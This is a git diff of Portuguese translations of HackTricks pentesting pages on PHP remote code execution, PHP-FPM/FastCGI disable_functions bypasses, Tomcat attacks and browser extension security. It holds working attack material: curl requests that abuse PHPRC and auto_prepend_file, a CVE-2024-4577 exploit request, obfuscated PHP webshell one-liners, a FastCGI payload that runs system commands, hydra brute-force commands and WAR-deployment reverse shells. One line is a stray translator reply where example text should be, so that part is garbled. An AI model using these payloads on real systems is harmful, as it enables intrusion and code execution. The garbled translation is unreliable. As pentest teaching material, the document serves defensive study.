**modificar variáveis de ambiente no PHP** (e outra para fazer upload de arquivos, embora com mais pesquisa isso possa ser contornado), você poderia abusar desse comportamento para obter **RCE**. +Se você encontrar uma vulnerabilidade que permite **modificar variáveis de ambiente no PHP** (e outra para fazer upload de arquivos, embora com mais pesquisa talvez isso possa ser contornado), você poderia abusar desse comportamento para obter **RCE**. -- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld_preload-and-ld_library_path): Esta variável de ambiente permite que você carregue bibliotecas arbitrárias ao executar outros binários (embora neste caso possa não funcionar). -- **`PHPRC`**: Instruções ao PHP sobre **onde localizar seu arquivo de configuração**, geralmente chamado `php.ini`. Se você puder fazer upload do seu próprio arquivo de configuração, então, use `PHPRC` para apontar o PHP para ele. Adicione uma entrada **`auto_prepend_file`** especificando um segundo arquivo enviado. Este segundo arquivo contém código **PHP normal, que é então executado** pelo tempo de execução do PHP antes de qualquer outro código. +- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Esta variável de ambiente permite que você carregue bibliotecas arbitrárias ao executar outros binários (embora neste caso possa não funcionar). +- **`PHPRC`** : Instruções ao PHP sobre **onde localizar seu arquivo de configuração**, geralmente chamado `php.ini`. Se você puder fazer upload do seu próprio arquivo de configuração, então, use `PHPRC` para apontar o PHP para ele. Adicione uma entrada **`auto_prepend_file`** especificando um segundo arquivo enviado. Este segundo arquivo contém código **PHP normal, que é então executado** pelo tempo de execução do PHP antes de qualquer outro código. 1. Faça upload de um arquivo PHP contendo nosso shellcode 2. Faça upload de um segundo arquivo, contendo uma diretiva **`auto_prepend_file`** instruindo o pré-processador PHP a executar o arquivo que enviamos na etapa 1 3. Defina a variável `PHPRC` para o arquivo que enviamos na etapa 2. - Obtenha mais informações sobre como executar essa cadeia [**do relatório original**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/). - **PHPRC** - outra opção -- Se você **não puder fazer upload de arquivos**, você poderia usar no FreeBSD o "arquivo" `/dev/fd/0` que contém o **`stdin`**, sendo o **corpo** da solicitação enviada para o `stdin`: +- Se você **não puder fazer upload de arquivos**, você poderia usar no FreeBSD o "arquivo" `/dev/fd/0` que contém o **`stdin`**, sendo o **corpo** da solicitação enviada ao `stdin`: - `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'` - Ou para obter RCE, habilite **`allow_url_include`** e prepend um arquivo com **código PHP em base64**: - `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'` @@ -293,7 +293,7 @@ O servidor web analisa solicitações HTTP e as passa para um script PHP executa ```jsx -d allow_url_include=1 -d auto_prepend_file=php://input ``` -Além disso, é possível injetar o parâmetro "-" usando o caractere 0xAD devido à normalização posterior do PHP. Verifique o exemplo de exploit deste [**post**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/): +Além disso, é possível injetar o parâmetro "-" usando o caractere 0xAD devido à normalização posterior do PHP. Confira o exemplo de exploit deste [**post**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/): ```jsx POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1 Host: {{host}} @@ -308,7 +308,7 @@ phpinfo(); ?> ``` -## Bypass de Sanitização PHP & Brain Fuck +## Bypass de Sanitização em PHP & Brain Fuck [**Neste post**](https://blog.redteam-pentesting.de/2024/moodle-rce/) é possível encontrar ótimas ideias para gerar um código PHP brain fuck com muito poucos caracteres permitidos.\ Além disso, também é proposta uma maneira interessante de executar funções que permitiram contornar várias verificações: @@ -317,7 +317,7 @@ Além disso, também é proposta uma maneira interessante de executar funções ``` ## Análise estática de PHP -Verifique se você pode inserir código em chamadas para essas funções (de [aqui](https://www.youtube.com/watch?v=SyWUsN0yHKI&feature=youtu.be)): +Veja se você consegue inserir código em chamadas para essas funções (de [aqui](https://www.youtube.com/watch?v=SyWUsN0yHKI&feature=youtu.be)): ```php exec, shell_exec, system, passthru, eval, popen unserialize, include, file_put_cotents @@ -331,7 +331,7 @@ Você pode usar o **web**[ **www.unphp.net**](http://www.unphp.net) **para deobf ## Wrappers e Protocolos PHP -Wrappers e protocolos PHP podem permitir que você **bypasse proteções de escrita e leitura** em um sistema e o comprometa. Para [**mais informações, consulte esta página**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols). +Wrappers e protocolos PHP podem permitir que você **bypasse proteções de escrita e leitura** em um sistema e o comprometa. Para [**mais informações, consulte esta página**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols). ## RCE não autenticada do Xdebug @@ -349,9 +349,9 @@ echo "${Da}"; //Drums echo "$x ${$x}"; //Da Drums echo "$x ${Da}"; //Da Drums ``` -## RCE abusando de novo $\_GET\["a"]\($\_GET\["b") +## RCE abusando de novo $\_GET\["a"]\($\_GET\["b"]) -Se em uma página você pode **criar um novo objeto de uma classe arbitrária**, você pode ser capaz de obter RCE, verifique a página a seguir para aprender como: +Se em uma página você pode **criar um novo objeto de uma classe arbitrária**, você pode ser capaz de obter RCE, confira a página a seguir para aprender como: {{#ref}} php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md @@ -374,7 +374,7 @@ $_($___); #If ¢___ not needed then $_($__), show_source(.passwd) ``` ### Código de shell fácil XOR -De acordo com [**este artigo** ](https://mgp25.com/ctf/Web-challenge/) é possível gerar um shellcode fácil desta forma: +De acordo com [**este artigo**](https://mgp25.com/ctf/Web-challenge/), é possível gerar um shellcode fácil desta forma: ```php $_="`{{{"^"?<>/"; // $_ = '_GET'; ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]); diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md index 12dd88217..cc02d56de 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md @@ -4,19 +4,19 @@ ## PHP-FPM -**PHP-FPM** é apresentado como uma **alternativa superior** ao PHP FastCGI padrão, oferecendo recursos que são particularmente **benéficos para sites com alto tráfego**. Ele opera através de um processo mestre que supervisiona um conjunto de processos de trabalho. Para um pedido de script PHP, é o servidor web que inicia uma **conexão proxy FastCGI com o serviço PHP-FPM**. Este serviço tem a capacidade de **receber pedidos tanto através de portas de rede no servidor quanto de sockets Unix**. +**PHP-FPM** é apresentado como uma **alternativa superior** ao PHP FastCGI padrão, oferecendo recursos que são particularmente **benéficos para sites com alto tráfego**. Ele opera através de um processo mestre que supervisiona um conjunto de processos de trabalho. Para um pedido de script PHP, é o servidor web que inicia uma **conexão proxy FastCGI com o serviço PHP-FPM**. Este serviço tem a capacidade de **receber solicitações tanto por meio de portas de rede no servidor quanto por meio de sockets Unix**. -Apesar do papel intermediário da conexão proxy, o PHP-FPM precisa estar operacional na mesma máquina que o servidor web. A conexão que ele utiliza, embora baseada em proxy, difere das conexões proxy convencionais. Ao receber um pedido, um trabalhador disponível do PHP-FPM o processa—executando o script PHP e, em seguida, encaminhando os resultados de volta para o servidor web. Após um trabalhador concluir o processamento de um pedido, ele se torna disponível novamente para pedidos futuros. +Apesar do papel intermediário da conexão proxy, o PHP-FPM precisa estar operacional na mesma máquina que o servidor web. A conexão que ele utiliza, embora baseada em proxy, difere das conexões proxy convencionais. Ao receber uma solicitação, um trabalhador disponível do PHP-FPM a processa—executando o script PHP e, em seguida, encaminhando os resultados de volta ao servidor web. Após um trabalhador concluir o processamento de uma solicitação, ele se torna disponível novamente para solicitações futuras. ## Mas o que é CGI e FastCGI? ### CGI -Normalmente, páginas web, arquivos e todos os documentos que são transferidos do servidor web para o navegador são armazenados em um diretório público específico, como home/user/public_html. **Quando o navegador solicita determinado conteúdo, o servidor verifica este diretório e envia o arquivo necessário para o navegador**. +Normalmente, páginas web, arquivos e todos os documentos que são transferidos do servidor web para o navegador são armazenados em um diretório público específico, como home/user/public_html. **Quando o navegador solicita determinado conteúdo, o servidor verifica este diretório e envia o arquivo necessário ao navegador**. -Se **CGI** estiver instalado no servidor, o diretório específico cgi-bin também é adicionado lá, por exemplo, home/user/public_html/cgi-bin. Scripts CGI são armazenados neste diretório. **Cada arquivo no diretório é tratado como um programa executável**. Ao acessar um script do diretório, o servidor envia um pedido para a aplicação responsável por este script, em vez de enviar o conteúdo do arquivo para o navegador. **Após o processamento dos dados de entrada ser concluído, a aplicação envia os dados de saída** para o servidor web, que encaminha os dados para o cliente HTTP. +Se **CGI** estiver instalado no servidor, o diretório específico cgi-bin também é adicionado lá, por exemplo, home/user/public_html/cgi-bin. Scripts CGI são armazenados neste diretório. **Cada arquivo no diretório é tratado como um programa executável**. Ao acessar um script do diretório, o servidor envia uma solicitação para a aplicação responsável por este script, em vez de enviar o conteúdo do arquivo para o navegador. **Após o processamento dos dados de entrada ser concluído, a aplicação envia os dados de saída** para o servidor web, que encaminha os dados para o cliente HTTP. -Por exemplo, quando o script CGI [http://mysitename.com/**cgi-bin/file.pl**](http://mysitename.com/**cgi-bin/file.pl**) é acessado, o servidor executará a aplicação Perl apropriada através do CGI. Os dados gerados pela execução do script serão enviados pela aplicação para o servidor web. O servidor, por sua vez, transferirá os dados para o navegador. Se o servidor não tivesse CGI, o navegador teria exibido o código do arquivo **.pl** em si. (explicação de [aqui](https://help.superhosting.bg/en/cgi-common-gateway-interface-fastcgi.html)) +Por exemplo, quando o script CGI [http://mysitename.com/**cgi-bin/file.pl**](http://mysitename.com/**cgi-bin/file.pl**) é acessado, o servidor executará a aplicação Perl apropriada através do CGI. Os dados gerados pela execução do script serão enviados pela aplicação para o servidor web. O servidor, por sua vez, transferirá os dados para o navegador. Se o servidor não tivesse CGI, o navegador exibiria o código do arquivo **.pl** em si. (explicação de [aqui](https://help.superhosting.bg/en/cgi-common-gateway-interface-fastcgi.html)) ### FastCGI @@ -37,7 +37,7 @@ Usando [Gopherus](https://github.com/tarunkant/Gopherus), você pode gerar um pa ![](<../../../../images/image (227).png>) -Em seguida, você pode pegar o payload urlencoded e decodificá-lo e transformá-lo em base64, \[**usando esta receita do cyberchef, por exemplo**]\([http://icyberchef.com/#recipe=URL_Decode%28%29To_Base64%28'A-Za-z0-9%2B/%3D'%29\&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNpeUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw](http://icyberchef.com/#recipe=URL_Decode%28%29To_Base64%28'A-Za-z0-9%2B/%3D'%29&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNpeUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw)). E então copie/cole o base64 neste código php: +Então, você pode pegar o payload urlencoded e decodificá-lo e transformá-lo em base64, \[**usando esta receita do cyberchef, por exemplo**]\([http://icyberchef.com/index.html#recipe=URL_Decode%28%29To_Base64%28'A-Za-z0-9%2B/%3D'%29\&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNpeUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw](http://icyberchef.com/#recipe=URL_Decode%28%29To_Base64%28'A-Za-z0-9%2B/%3D'%29&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNpeUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw)). E então copie/cole o base64 neste código php: ```php [!CAUTION] -> Não tenho certeza se isso funciona em versões modernas, porque tentei uma vez e não consegui executar nada. Na verdade, consegui ver que `phpinfo()` da execução do FastCGI indicou que `disable_functions` estava vazio, mas o PHP (de alguma forma) ainda estava me impedindo de executar qualquer função previamente desabilitada. Por favor, se você tiver mais informações sobre isso, entre em contato comigo via \[**PEASS & HackTricks telegram group here**]\([**https://t.me/peass**](https://t.me/peass)), ou twitter \[**@carlospolopm**]\([**https://twitter.com/hacktricks_live**](https://twitter.com/hacktricks_live))**.** +> Não tenho certeza se isso funciona em versões modernas, porque tentei uma vez e não consegui executar nada. Na verdade, consegui ver que `phpinfo()` da execução do FastCGI indicava que `disable_functions` estava vazio, mas o PHP (de alguma forma) ainda estava me impedindo de executar qualquer função previamente desabilitada. Por favor, se você tiver mais informações sobre isso, entre em contato comigo via \[**PEASS & HackTricks telegram group here**]\([**https://t.me/peass**](https://t.me/peass)), ou twitter \[**@carlospolopm**]\([**https://twitter.com/hacktricks_live**](https://twitter.com/hacktricks_live))**.** Código de [aqui](https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#wallbreaker-easy). ```php @@ -406,7 +406,7 @@ Usando a função anterior, você verá que a função **`system`** está **aind ![](<../../../../images/image (713).png>) -**Então, eu acho que você só pode definir `disable_functions` através de arquivos de configuração php `.ini` e o PHP_VALUE não substituirá essa configuração.** +**Então, eu acho que você só pode definir `disable_functions` através de arquivos de configuração php `.ini` e o PHP_VALUE não irá substituir essa configuração.** ### [**FuckFastGCI**](https://github.com/w181496/FuckFastcgi) diff --git a/src/network-services-pentesting/pentesting-web/tomcat/README.md b/src/network-services-pentesting/pentesting-web/tomcat/README.md index 032a4a41c..aa6477f27 100644 --- a/src/network-services-pentesting/pentesting-web/tomcat/README.md +++ b/src/network-services-pentesting/pentesting-web/tomcat/README.md @@ -11,7 +11,7 @@ ## Enumeração -### **Identificação da Versão** +### **Identificação de Versão** Para encontrar a versão do Apache Tomcat, um comando simples pode ser executado: ```bash @@ -52,19 +52,19 @@ Para tentar um ataque de força bruta no diretório do gerenciador, pode-se usar ```bash hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html ``` -Juntamente com a configuração de vários parâmetros no Metasploit para direcionar um host específico. +Along with setting various parameters in Metasploit to target a specific host. ## Vulnerabilidades Comuns -### **Divulgação de Backtrace de Senha** +### **Divulgação de Senha em Backtrace** -Acessar `/auth.jsp` pode revelar a senha em um backtrace em circunstâncias favoráveis. +Acessar `/auth.jsp` pode revelar a senha em um backtrace sob circunstâncias favoráveis. ### **Codificação de URL Dupla** A vulnerabilidade CVE-2007-1860 no `mod_jk` permite a codificação de URL dupla para travessia de caminho, possibilitando acesso não autorizado à interface de gerenciamento através de uma URL especialmente elaborada. -Para acessar a web de gerenciamento do Tomcat, vá para: `pathTomcat/%252E%252E/manager/html` +Para acessar o gerenciamento web do Tomcat, vá para: `pathTomcat/%252E%252E/manager/html` ### /examples @@ -107,7 +107,7 @@ Finalmente, se você tiver acesso ao Gerenciador de Aplicações Web do Tomcat, ### Limitações -Você só poderá implantar um WAR se tiver **privilégios suficientes** (funções: **admin**, **manager** e **manager-script**). Esses detalhes podem ser encontrados em _tomcat-users.xml_, geralmente definido em `/usr/share/tomcat9/etc/tomcat-users.xml` (varia entre versões) (veja a seção [POST ](./#post)). +Você só poderá implantar um WAR se tiver **privilégios suficientes** (papéis: **admin**, **manager** e **manager-script**). Esses detalhes podem ser encontrados em _tomcat-users.xml_, geralmente definido em `/usr/share/tomcat9/etc/tomcat-users.xml` (varia entre versões) (veja a seção [POST ](#post)). ```bash # tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed @@ -146,7 +146,7 @@ git clone https://github.com/mgeeky/tomcatWarDeployer.git ```bash ./tomcatWarDeployer.py -U -P -H -p :/manager/html/ ``` -#### Shell de Bind +#### Shell de ligação ```bash ./tomcatWarDeployer.py -U -P -p :/manager/html/ ``` @@ -204,7 +204,7 @@ O nome do arquivo de credenciais do Tomcat é `tomcat-users.xml` e este arquivo ```bash find / -name tomcat-users.xml 2>/dev/null ``` -Exemplo: +Por favor, forneça o texto que você gostaria que eu traduzisse. ```xml [...] WebApp -Para comunicar entre o script de conteúdo e a página web, mensagens postadas são geralmente usadas. Portanto, na aplicação web você geralmente encontrará chamadas para a função **`window.postMessage`** e no script de conteúdo ouvintes como **`window.addEventListener`**. Note, no entanto, que a extensão também pode **comunicar-se com a aplicação web enviando uma Post Message** (e, portanto, a web deve esperar por isso) ou apenas fazer a web carregar um novo script. +Para comunicar entre o script de conteúdo e a página da web, mensagens postadas são geralmente usadas. Portanto, na aplicação web você geralmente encontrará chamadas para a função **`window.postMessage`** e, no script de conteúdo, ouvintes como **`window.addEventListener`**. Note, no entanto, que a extensão também pode **comunicar-se com a aplicação web enviando uma Post Message** (e, portanto, a web deve esperar por isso) ou apenas fazer a web carregar um novo script. ### Dentro da extensão @@ -389,11 +389,11 @@ console.log("Content script received message from background script:", msg) ``` -Também é possível enviar mensagens de um script de fundo para um script de conteúdo localizado em uma aba específica chamando **`chrome.tabs.sendMessage`**, onde você precisará indicar o **ID da aba** para a qual enviar a mensagem. +Também é possível enviar mensagens de um script de fundo para um script de conteúdo localizado em uma aba específica chamando **`chrome.tabs.sendMessage`**, onde você precisará indicar o **ID da aba** para enviar a mensagem. ### De `externally_connectable` permitido para a extensão -**Aplicativos da web e extensões de navegador externas permitidas** na configuração `externally_connectable` podem enviar solicitações usando: +**Aplicativos da web e extensões de navegador externas permitidas** na configuração `externally_connectable` podem enviar solicitações usando : ```javascript chrome.runtime.sendMessage(extensionId, ... ``` @@ -401,7 +401,7 @@ Onde é necessário mencionar o **ID da extensão**. ### Mensagens Nativas -É possível que os scripts de fundo se comuniquem com binários dentro do sistema, que podem ser **susceptíveis a vulnerabilidades críticas, como RCEs**, se essa comunicação não for devidamente protegida. [Mais sobre isso mais tarde](./#native-messaging). +É possível que os scripts de fundo se comuniquem com binários dentro do sistema, que podem ser **susceptíveis a vulnerabilidades críticas, como RCEs**, se essa comunicação não estiver devidamente segura. [Mais sobre isso mais tarde](#native-messaging). ```javascript chrome.runtime.sendNativeMessage( "com.my_company.my_application", @@ -452,13 +452,13 @@ false ``` Uma comunicação segura de Post Message deve verificar a autenticidade da mensagem recebida, isso pode ser feito verificando: -- **`event.isTrusted`**: Isso é True apenas se o evento foi acionado por uma ação do usuário +- **`event.isTrusted`**: Isso é Verdadeiro apenas se o evento foi acionado por uma ação do usuário - O script de conteúdo pode esperar uma mensagem apenas se o usuário realizar alguma ação - **domínio de origem**: pode esperar uma mensagem apenas de uma lista de domínios permitidos. - Se uma regex for usada, tenha muito cuidado - **Fonte**: `received_message.source !== window` pode ser usado para verificar se a mensagem foi **da mesma janela** onde o Script de Conteúdo está ouvindo. -As verificações anteriores, mesmo se realizadas, podem ser vulneráveis, então verifique na página seguinte **potenciais bypasses de Post Message**: +As verificações anteriores, mesmo que realizadas, podem ser vulneráveis, então verifique na página seguinte **potenciais bypasses de Post Message**: {{#ref}} ../postmessage-vulnerabilities/ @@ -488,7 +488,7 @@ Um Script de Conteúdo pode usar as funções [**runtime.sendMessage()**](https: Para lidar com a **resposta**, use a **Promise** retornada. Embora, para compatibilidade retroativa, você ainda possa passar um **callback** como o último argumento. -Enviar uma solicitação de um **script de conteúdo** se parece com isto: +Enviar uma solicitação de um **script de conteúdo** se parece com isso: ```javascript ;(async () => { const response = await chrome.runtime.sendMessage({ greeting: "hello" }) @@ -529,7 +529,7 @@ Ao criar novas extensões, a preferência deve ser por promessas em vez de callb ## Native Messaging -As extensões do navegador também permitem comunicar-se com **binaries no sistema via stdin**. O aplicativo deve instalar um json indicando isso em um json como: +As extensões do navegador também permitem comunicar-se com **binários no sistema via stdin**. O aplicativo deve instalar um json indicando isso em um json como: ```json { "name": "com.my_company.my_application", @@ -546,7 +546,7 @@ O Chrome/Chromium irá procurar por este json em alguns registros do Windows e a > [!TIP] > A extensão do navegador também precisa da permissão `nativeMessaing` declarada para poder usar essa comunicação. -Assim é como parece um código de script de fundo enviando mensagens para um aplicativo nativo: +É assim que parece um código de script de fundo enviando mensagens para um aplicativo nativo: ```javascript chrome.runtime.sendNativeMessage( "com.my_company.my_application", @@ -575,7 +575,7 @@ Claro, **não coloque informações sensíveis no código**, pois isso será **p Para extrair a memória do navegador, você pode **extrair a memória do processo** ou ir para as **configurações** da extensão do navegador, clicar em **`Inspecionar pop-up`** -> Na seção **`Memória`** -> **`Tirar um instantâneo`** e **`CTRL+F`** para procurar dentro do instantâneo por informações sensíveis. -Além disso, informações altamente sensíveis, como chaves mnemônicas ou senhas, **não devem ser permitidas para serem copiadas na área de transferência** (ou pelo menos removê-las da área de transferência em poucos segundos), pois então processos que monitoram a área de transferência poderão obtê-las. +Além disso, informações altamente sensíveis como chaves mnemônicas ou senhas **não devem ser permitidas para serem copiadas na área de transferência** (ou pelo menos removê-las da área de transferência em poucos segundos) porque então processos que monitoram a área de transferência poderão obtê-las. ## Carregando uma Extensão no Navegador @@ -638,7 +638,7 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt ``` ## Lista de Verificação de Auditoria de Segurança -Embora as Extensões de Navegador tenham uma **superfície de ataque limitada**, algumas delas podem conter **vulnerabilidades** ou **melhorias potenciais de endurecimento**. As seguintes são as mais comuns: +Embora as Extensões de Navegador tenham uma **superfície de ataque limitada**, algumas delas podem conter **vulnerabilidades** ou **potenciais melhorias de endurecimento**. As seguintes são as mais comuns: - [ ] **Limitar** o máximo possível as **`permissões`** solicitadas - [ ] **Limitar** o máximo possível as **`host_permissions`** @@ -646,12 +646,12 @@ Embora as Extensões de Navegador tenham uma **superfície de ataque limitada**, - [ ] **Limitar** o máximo possível o **`externally_connectable`**, se nenhum for necessário e possível, não deixá-lo por padrão, especificar **`{}`** - [ ] Se **URL vulnerável a XSS ou a takeover** for mencionada aqui, um atacante poderá **enviar mensagens para os scripts de fundo diretamente**. Um bypass muito poderoso. - [ ] **Limitar** o máximo possível os **`web_accessible_resources`**, mesmo vazios se possível. -- [ ] Se **`web_accessible_resources`** não for nenhum, verifique [**ClickJacking**](browext-clickjacking.md) -- [ ] Se qualquer **comunicação** ocorrer da **extensão** para a **página da web**, [**verifique por XSS**](browext-xss-example.md) **vulnerabilidades** causadas na comunicação. -- [ ] Se Post Messages forem usados, verifique por [**vulnerabilidades de Post Message**](../postmessage-vulnerabilities/)**.** -- [ ] Se o **Content Script acessar detalhes do DOM**, verifique se eles **não estão introduzindo um XSS** se forem **modificados** pela web -- [ ] Faça uma ênfase especial se essa comunicação também estiver envolvida na **comunicação do Content Script -> script de fundo** -- [ ] Se o script de fundo estiver se comunicando via **native messaging**, verifique se a comunicação é segura e sanitizada +- [ ] Se **`web_accessible_resources`** não for nenhum, verificar [**ClickJacking**](browext-clickjacking.md) +- [ ] Se qualquer **comunicação** ocorrer da **extensão** para a **página da web**, [**verificar XSS**](browext-xss-example.md) **vulnerabilidades** causadas na comunicação. +- [ ] Se Post Messages forem usados, verificar [**vulnerabilidades de Post Message**](../postmessage-vulnerabilities/)**.** +- [ ] Se o **Content Script acessar detalhes do DOM**, verificar se eles **não estão introduzindo um XSS** se forem **modificados** pela web +- [ ] Fazer uma ênfase especial se essa comunicação também estiver envolvida na **comunicação do Content Script -> script de fundo** +- [ ] Se o script de fundo estiver se comunicando via **native messaging**, verificar se a comunicação é segura e sanitizada - [ ] **Informações sensíveis não devem ser armazenadas** dentro do código da Extensão do Navegador - [ ] **Informações sensíveis não devem ser armazenadas** dentro da memória da Extensão do Navegador - [ ] **Informações sensíveis não devem ser armazenadas** dentro do **sistema de arquivos sem proteção** @@ -665,12 +665,12 @@ Embora as Extensões de Navegador tenham uma **superfície de ataque limitada**, ### [**Tarnish**](https://thehackerblog.com/tarnish/) - Puxa qualquer extensão do Chrome a partir de um link fornecido da Chrome webstore. -- Visualizador de [**manifest.json**](https://developer.chrome.com/extensions/manifest): simplesmente exibe uma versão JSON formatada do manifesto da extensão. -- Análise de Impressão Digital: Detecção de [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) e geração automática de JavaScript de impressão digital da extensão do Chrome. -- Análise Potencial de Clickjacking: Detecção de páginas HTML da extensão com a diretiva [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) definida. Estas são potencialmente vulneráveis a clickjacking dependendo do propósito das 